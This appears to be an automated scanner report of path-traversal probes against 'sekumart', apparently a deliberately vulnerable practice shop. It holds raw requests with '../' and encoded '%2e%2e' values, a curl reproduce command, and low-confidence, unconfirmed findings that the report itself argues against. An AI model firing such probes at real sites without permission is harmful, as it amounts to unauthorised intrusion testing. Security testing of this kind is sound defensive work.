GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1…

request

GET /catalog.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=sks5ujghd/%2e%2e/1&lang=1&view=1…

request

GET /catalog.php?data=1&src=1&dir=sks5ujghd/%2e%2e/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=sks5ujghd/1&lang=1&view=1…

request

GET /catalog.php?data=1&src=1&dir=sks5ujghd/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:12 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · dir unconfirmed · low confidence BV-020 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: dir in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

dir reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

dir looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/../…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/../1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/%2e%2e/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=sks5ujghd/1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=&lang=1&view=…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · download unconfirmed · low confidence BV-021 info

location: GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: download in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

download reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

download looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

